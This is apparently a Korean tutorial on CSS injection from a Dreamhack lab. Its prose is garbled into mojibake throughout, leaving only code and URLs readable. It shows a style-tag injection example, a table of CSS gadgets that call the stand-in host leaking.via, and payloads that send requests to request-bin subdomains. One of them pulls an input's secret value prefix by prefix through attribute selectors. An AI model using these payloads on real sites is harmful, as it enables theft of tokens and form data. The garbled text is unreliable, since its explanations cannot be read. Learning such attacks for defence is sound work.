Cascading Style Sheet (CSS)๋ HTML๋ก ์ ์๋ ๋ฌธ์๋ฅผ ๋ค์ฑ๋กญ๊ฒ ํ๋ ์ญํ ์ ํ๋ค.
๊ฐ๋ฐ์๋ CSS๋ก HTML ์์๋ค์ด ์ฌ์ฉ์์๊ฒ ์ด๋ป๊ฒ ๋ณด์ฌ์ง์ง ์ ์ํ ์ ์๋ค. ๋ฌธ์์ ๋ฐฐ๊ฒฝ ์ฌ์ง, ์์์ ๋น๋กฏํด ๋ฒํผ์ ๋ง์ฐ์ค๋ฅผ ์ฌ๋ ค๋์์ ๋ ์ด๋ค ์์๊ณผ ์๋๋ก ํํํ ์ ์๋ค.
ํํ์ ์ฌ์ฉ๋ ์์์ CSS ์ฝ๋๋ฅผ ์ฃผ์ ์์ผ ์๋ํ์ง ์์ ์์ฑ์ด ์ ์๋๋ ๊ฒ์ CSS Injection์ด๋ผ๊ณ ํ๋ค.
CSS Injection์ XSS์ ๋น์ทํ๊ฒ ์น ํ์ด์ง ๋ก๋ฉ ์ ์ ์์ ์ธ ๋ฌธ์์ด์ ์ฝ์ ํ์ฌ ์ ์์ ์ธ ๋์์ ์ด๋๋ ๊ณต๊ฒฉ์ด๋ค.
๊ณต๊ฒฉ์๊ฐ ์์ CSS ์์ฑ์ ์ฝ์ ํด ์นํ์ด์ง์ UI (์๊น์)๋ฅผ ๋ณ์กฐํ๊ฑฐ๋ CSS ์์ฑ์ ๋ค์ํ ๊ธฐ๋ฅ์ ํตํด ์น ํ์ด์ง๋ด์ ๋ฐ์ดํฐ๋ฅผ ์ธ๋ถ๋ก ํ์น ์ ์๋ค.
์ด๋ CSS Injection์ ํตํด ํ์ทจํ ์ ์๋ ๋ฐ์ดํฐ๋ CSRF Token, ํผํด์์ API Key๋ฑ ์น ํ์ด์ง์ ์ง์ ์ ์ผ๋ก ๋ณด์ฌ์ง๋ ๊ฐ์ฒ๋ผ CSS ์ ํ์(Selector)๋ฅผ ํตํด ํํ์ด ๊ฐ๋ฅํด์ผ ํ๋ค.
๊ทธ๋์ CSS ์ ํ์๋ก ํํ์ด ๋ถ๊ฐ๋ฅํ "script" ํ๊ทธ ๋ด ๋ฐ์ดํฐ๋ค์ ํ์ทจํ ์ ์๋ค.
(์ ํ์: https://velog.io/@rimu/css-css-%EC%84%A0%ED%83%9D%EC%9E%90selector-%EA%B0%9C%EB%85%90-%EC%A0%95%EB%A6%AC )
๋ณดํต์ ์น ๋ฐฉํ๋ฒฝ์ ๊ฒฝ์ฐ "<script>", "alert", "eval" ๋ฑ์ ํค์๋๋ ์ฐจ๋จํ์ง๋ง, CSS Injection์ ์ฃผ๋ก ์ฌ์ฉ ๋๋ "background:", "url" ๋ฑ์ ํค์๋๋ ์ฐจ๋จํ์ง ์๋๋ค.
CSS injection์ HTML (style) ์์ญ์ ๊ณต๊ฒฉ์๊ฐ ์์ ์ ๋ ฅ ๊ฐ์ ๋ฃ์ ์ ์๊ฑฐ๋ ์์ HTML์ ์ฝ์ ํ ์ ์์ง๋ง Content-Security-Policy๋ก ์ธํด ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋ ๋ฑ ๋ค์ํ ์ํฉ์์ ์ฌ์ฉํ ์ ์๋ค.
- ์๊น ๋ฐ๊พธ๊ธฐ ์์
<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
if '<' in theme:
exit(0)
์ด์ฉ์๋ก๋ถํฐ theme ๊ฐ์ ์ ๋ ฅ ๋ฐ์ styleํ๊ทธ ๋ด์ ์ถ๋ ฅํ๋ ์น ์ดํ๋ฆฌ์ผ์ด์ ์ด๋ค.
theme๊ฐ ๋ด์ < ๋ฅผ ์ ๋ ฅํ ์ ์์ด ์ ์๋ style ํ๊ทธ๋ฅผ ๋ฒ์ด๋๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ์ฌ CSS ์์ฑ๋ง ์ถ๋ ฅํ ์ ์๋ค.
์ธํฐ๋ํฐ๋ธ ๋ชจ๋์ ์ด์ฉํด yellow ๊ฐ์ ํ๋์ฉ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
- yellow๋ฅผ blue๋ก ๋ณ๊ฒฝํ๋ฉด ๋ ธ๋์ ๋ฐฐ๊ฒฝ์์ด์๋ ๊ฒ์ด ํ๋์์ผ๋ก ๋ณ๊ฒฝ๋๋ค.
- body์ background-color๊ฐ ์๋ h1์ ๊ธ์จ ์์ ๋ณ๊ฒฝํ๋ ค๋ฉด } ๋ฌธ์๋ฅผ ์ด์ฉํด ๊ธฐ์กด ์์ฑ์ ํ์ถํด์ผ ํ๋ค.
- yellow; } h1 { color: blue ๊ฐ์ ์ ๋ ฅํ์ฌ h1๋ด์ ๊ธ์จ๊ฐ ๋นจ๊ฐ์์ผ๋ก ๋ณ๊ฒฝ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
IP Ping Back
ํด๋ผ์ด์ธํธ์ฌ์ด๋ ๊ณต๊ฒฉ์ ํตํด ๋ฐ์ดํฐ๋ฅผ ์ธ๋ถ๋ก ํ์ทจํ๊ธฐ ์ํด์๋ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ผ ์ ์์ด์ผ ํ๋ค.
CSS ์์ฑ์ผ๋ก๋ ์ธ๋ถ ์์ฒญ (Ping Back)์ ์ ์กํ ์ ์๋ค.
CSS๋ ์ธ๋ถ ๋ฆฌ์์ค๋ฅผ ๋ถ๋ฌ์ค๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค.
์๋ฅผ ๋ค์ด ๋ค๋ฅธ ์ฌ์ดํธ์ ์ด๋ฏธ์ง, ํฐํธ ๋ฑ์ด ์๋ค. ์ฌ๋ฌ ๋ฐฉ๋ฒ์ด ์กด์ฌํ์ง๋ง ๋ํ์ ์ผ๋ก cure53์ HTTPLeaks ๊ฐ์ ฏ์ ์ด์ฉํ ์ ์๋ค.
๋ค์ ํ๋ ์์ฃผ ์ฐ์ด๋ CSS ์์ฑ์ด๋ค.
@import 'https://leaking.via/css-import-string'; | ์ธ๋ถ CSS ํ์ผ์ ๋ก๋ํฉ๋๋ค. ๋ชจ๋ ์์ฑ ์ค ๊ฐ์ฅ ์๋จ์ ์์นํด์ผํฉ๋๋ค. ๊ทธ๋ ์ง ์์ ๊ฒฝ์ฐ @import๋ ๋ฌด์๋ฉ๋๋ค. |
@import url(https://leaking.via/css-import-url); | url ํจ์๋ URL๋ฅผ ๋ถ๋ฌ์ค๋ ์ญํ ์ ํฉ๋๋ค. ์ํฉ์ ๋ฐ๋ผ์ ์ ํ์ ์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค. |
background: url(https://leaking.via/css-background); | ์์์ ๋ฐฐ๊ฒฝ์ ๋ณ๊ฒฝํ ๋ ์ฌ์ฉํ ์ด๋ฏธ์ง๋ฅผ ๋ถ๋ฌ์ต๋๋ค. |
@font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src);} | ๋ถ๋ฌ์ฌ ํฐํธ ํ์ผ์ ์ฃผ์๋ฅผ ์ง์ ํฉ๋๋ค. |
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); | CSS ์์ ํจ์๋ฅผ ํธ์ถํ ๋ asciiํํ์ "url"์ด ์๋ hexํํ์ธ "\000075\000072\00006C"๋ ์ง์ํฉ๋๋ค. |
- ์ ๊ฐ์ ฏ ์ค ํ๋๋ฅผ ์ฌ์ฉํด ํ์ด์ง ๋ด์์ ์ธ๋ถ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ผ ์ ์๋ค. ์์ฒญ์ ๋ฐ์ ์๋ฒ๋ ๋๋ฆผํต ํด์ฆ์ "Request Bin"์ ์ด์ฉํ๋ค.
- ๊ฐ๋ฐ์ ๋๊ตฌ๋ฅผ ๋ฏธ๋ฆฌ ๋์๋๊ณ , Networkํญ์์ ์์ฒญ์ ๊ธฐ๋กํฉ๋๋ค.
- yellow; background: url(https://wybfhvn.request.dreamhack.games/ping-back);๋ฐ๊ธ ๋ฐ์ ์๋ธ ๋๋ฉ์ธ ์ฃผ์๋ก body์ background๋ฅผ ์ค์ ํฉ๋๋ค.
- ๊ฐ๋ฐ์ ๋๊ตฌ์์ ์ค์ต ๋ชจ๋์์ ๋๋ฆผํต ํด์ฆ๋ก ๋ณด๋ธ ์์ฒญ์ ํ์ธํ๊ณ , ๋๋ฆผํต ํด์ฆ ์ฌ์ดํธ์์ ํ ๋ฒ ๋ ๋ฐ์ ์์ฒญ์ ํ์ธํฉ๋๋ค.
๋ฐ์ดํฐ ํ์ทจ
์ ๋ ฅ ๋ฐ์ค ๋ด์ฉ ํ์ทจ
Attribute Selector๋ฅผ ํตํด ์ ๋ ฅ ๋ฐ์ค (Input)์ ๊ฐ (Value)๋ฅผ ํ์ทจํ ์ ์๋ค.
CSS Attribute Selector (ํน์ฑ ์ ํ์)
CSS Attribute Selector๋ Element์ Attribute๋ฅผ Selectionํ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค.
Figure 6๋ ํน์ฑ ์ ํ์์ ๊ตฌ๋ฌธ์ด๋ค. ๋ ์์ธํ ์ค๋ช
์ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์๋ค.
๊ตฌ๋ฌธ | ์ค๋ช |
[attr] | attr์ด๋ผ๋ ์ด๋ฆ์ ํน์ฑ์ ๊ฐ์ง ์์๋ฅผ ์ ํํฉ๋๋ค. |
[attr=value] | attr์ด๋ผ๋ ์ด๋ฆ์ ํน์ฑ๊ฐ์ด ์ ํํ value์ธ ์์๋ฅผ ์ ํํฉ๋๋ค. |
[attr~=value] | attr์ด๋ผ๋ ์ด๋ฆ์ ํน์ฑ๊ฐ์ด ์ ํํ value์ธ ์์๋ฅผ ์ ํํฉ๋๋ค. attr ํน์ฑ์ ๊ณต๋ฐฑ์ผ๋ก ๊ตฌ๋ถํ ์ฌ๋ฌ ๊ฐ์ ๊ฐ์ ๊ฐ์ง๊ณ ์์ ์ ์์ต๋๋ค. |
[attr^=value] | attr์ด๋ผ๋ ํน์ฑ๊ฐ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ์ ๋์ฌ๋ก value๊ฐ ๊ฐ์ ํฌํจ๋์ด ์์ผ๋ฉด ์ด ์์๋ฅผ ์ ํํฉ๋๋ค. |
[attr$=value] | attr์ด๋ผ๋ ํน์ฑ๊ฐ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ์ ๋ฏธ์ฌ๋ก value๊ฐ ๊ฐ์ ํฌํจ๋์ด ์์ผ๋ฉด ์ด ์์๋ฅผ ์ ํํฉ๋๋ค. |
์ ๊ตฌ๋ฌธ ์ค [attr^=value] ์ ์ด์ฉํ๋ฉด ์
๋ ฅ ๋ฐ์ค ๋ด์ฉ์ ํ์ทจํ ์ ์์ต๋๋ค.
- [attr^=value] ๊ตฌ๋ฌธ์ ์ด์ฉํด ๊ฐ์ฅ ์ฒซ ํ ๊ธ์๋ฅผ ๋จผ์ ํ์ทจํฉ๋๋ค.
- 1์์ ํ์ทจํ ๊ธ์๋ฅผ ์ ๋์ฌ๋ก ๊ทธ ๋ค์ ํ ๊ธ์๋ฅผ ํ์ทจํฉ๋๋ค.
- 1-2๋ฅผ ๋ฐ๋ณตํฉ๋๋ค.
๋ค์์ ์ ์์๋ฅผ ์งํํ๋ ์ค๊ฐ ๊ณผ์ ์ ํ์ด๋ก๋์ด๋ค.
๋ถ์ฌ๋ฃ์ ํ ๊ฐ๋ฐ์ ๋๊ตฌ Network ํญ์ ํ์ธ ํ์ฌ ํ์ทจํ๋ ค๊ณ ํ๋ ๋ด์ฉ์ด S3CR3T_์ผ๋ก ์์ํ๋ ๊ฒ์ ์ ์ ์๋ค.
yellow; } input[value^=S3CR3T_] { background: url("https://itxeohf.request.dreamhack.games/lols");
[์ฐธ๊ณ ]
https://dreamhack.io/lecture/courses/327
+)
https://www.hahwul.com/cullinan/css-injection/